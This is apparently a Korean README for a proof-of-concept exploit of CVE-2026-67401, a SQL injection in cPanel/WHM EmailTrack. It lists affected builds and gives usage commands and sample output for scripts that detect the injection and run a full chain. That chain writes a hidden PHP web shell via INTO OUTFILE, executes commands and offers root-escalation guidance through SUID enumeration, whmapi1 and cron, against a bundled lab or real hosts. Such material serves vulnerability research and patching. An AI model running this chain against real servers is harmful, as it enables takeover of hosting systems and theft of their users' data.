
CVE-2026-67401에 대한 개념 증명으로, cPanel/WHM EmailTrack SQL 인젝션을 통해 임의 파일 쓰기 및 root RCE가 가능하며, SQLi 탐지 프로브와 자체 포함된 취약한 랩을 제공합니다.
CVE-2026-67401에 대한 개념 증명(PoC)으로, cPanel & WHM의 EmailTrack 기능에 존재하는 치명적인 SQL 인젝션 취약점입니다. 메일 관련 권한을 가진 인증된 사용자가 임의 파일을 쓰고 root 권한으로 코드를 실행할 수 있습니다.
발견자: Ali Mustafa 공개일: 2026년 9월 8일 구성 요소: EmailTrack (이메일 전송 로깅 / 추적)
수정된 빌드 이하 버전이 취약합니다.
| cPanel 빌드 시리즈 | 수정 버전 |
|---|
| 11.110 | 11.110.0.143 |
| 11.134 | 11.134.0.55 |
| 11.136 | 11.136.0.39 |
| 11.138 | 11.138.0.4 |
| WP2 (11.138) | 11.138.1.9 |
다음 명령으로 버전을 확인하세요:
cat /usr/local/cpanel/version
┌─────────────┐ ┌────────────┐ ┌─────────┐ ┌──────────┐
│ Auth as │ ───► │ SQLi in │ ───► │ INTO │ ───► │ RCE as │
│ cPanel user │ │ EmailTrack │ │ OUTFILE │ │ root │
│ (mail priv) │ │ API call │ │ (shell) │ │ │
└─────────────┘ └────────────┘ └─────────┘ └──────────┘
account 파라미터를 통해 인젝션합니다.SELECT ... INTO OUTFILE로 PHP 웹 셸을 public_html/에 기록합니다.| 파일 | 설명 |
|---|---|
poc_sqli.py | SQL 인젝션 탐지: 불리언 기반, 시간 기반, UNION 컬럼 수 |
poc_full_chain.py | 전체 익스플로잇 체인: SQLi → INTO OUTFILE 웹 셸 → RCE → 루트 권한 상승 안내 |
lab/vuln_server.py | 취약한 EmailTrack 백엔드의 로컬 시뮬레이션 (안전하고 자체 포함) |
README.md | 이 문서 |
포함된 랩을 사용하면 실제 cPanel 서버 없이 전체 체인을 실행하고 검증할 수 있습니다.
모든 명령은 저장소 루트에서 실행합니다.
python3 lab/vuln_server.py 18123 lab/htdocs
alice / s3cr1tSLEEP(), INTO OUTFILE, PHP 웹 셸 실행.18123)lab/htdocs)한 터미널에서 이 프로세스를 실행한 채로 두고, 두 번째 터미널에서 PoC를 사용하세요.
python3 poc_sqli.py -H http://127.0.0.1:18123 -u alice -p 's3cr1t' --mode detect
| 인수 | 설명 |
|---|---|
-H, --host | cPanel 호스트, 예: https://cp.example.com:2083 |
-u, --username | 메일 권한을 가진 cPanel 계정 |
-p, --password | 계정 비밀번호 |
--param | 인젝션 가능한 파라미터 (기본값: account) |
--mode | detect (기본값), boolean, timing, union, 또는 all |
--sleep | 타이밍 프로브용 SLEEP() 지속 시간 (기본값: 3.0) |
--dump-version | UNION을 통해 DBMS 버전 추출 시도 |
--insecure | TLS 인증서 검증 건너뛰기 |
특정 프로브 실행:
# UNION column count only
python3 poc_sqli.py -H http://127.0.0.1:18123 -u alice -p 's3cr1t' --mode union
# Time-based only, 5-second delay
python3 poc_sqli.py -H http://127.0.0.1:18123 -u alice -p 's3cr1t' --mode timing --sleep 5
CPANEL_USER=alice CPANEL_PASS='s3cr1t' \
python3 poc_full_chain.py http://127.0.0.1:18123 \
--shell-base http://127.0.0.1:18123
| 인수 / 환경 변수 | 설명 |
|---|---|
host (위치 인수) | cPanel 호스트, 또는 환경 변수 CPANEL_HOST 설정 |
CPANEL_USER | 메일 권한을 가진 cPanel 계정 |
CPANEL_PASS | 계정 비밀번호 |
--shell-base | public_html을 제공하는 기본 URL (웹 셸에 도달하는 위치) |
--insecure | TLS 인증서 검증 건너뛰기 |
--no-escalate | RCE 후 중지; 루트 권한 상승 안내 건너뛰기 |
SHELL_NAME (환경 변수) | 웹 셸 파일명 (기본값: .mail.cache.php) |
자동으로 실행되는 단계:
SELECT ... INTO OUTFILE로 PHP 웹 셸 기록id, whoami, SUID 열거, …)whmapi1, cron, 작업 큐)# Detection
python3 poc_sqli.py -H https://cp.example.com:2083 -u user -p 'pass' \
--insecure --mode detect
# Full chain (--shell-base is the account's web host, not the cPanel port)
CPANEL_USER=user CPANEL_PASS='pass' \
python3 poc_full_chain.py https://cp.example.com:2083 \
--shell-base https://cp.example.com --insecure
참고: 기본
--shell-base는 호스트에서 cPanel 전용 포트(2082/2083)를 제거합니다. 문서 루트가 다른 포트에서 제공되는 경우 명시적으로 설정하세요.
포함된 랩에 대해 생성된 출력:
CVE-2026-67401 cPanel/WHM EmailTrack SQLi -> File Write -> RCE
version 1.0
target: http://127.0.0.1:18123
user: alice
[+] authenticated
[1] confirming SQL injection in EmailTrack `account`
[+] boolean-based SQLi CONFIRMED
[+] time-based SQLi CONFIRMED (SLEEP(2) -> 6.0s)
[2] determining column count via UNION
[+] target query has 5 columns
[3] writing PHP web shell via SELECT ... INTO OUTFILE
[+] shell written -> /home/alice/public_html/.mail.cache.php
[4] executing commands through the web shell
[+] id -> uid=1000(x) gid=1000(x) ...
교육 및 승인된 보안 연구 목적으로 공개되었습니다. 사용 전에 면책 조항을 확인하세요.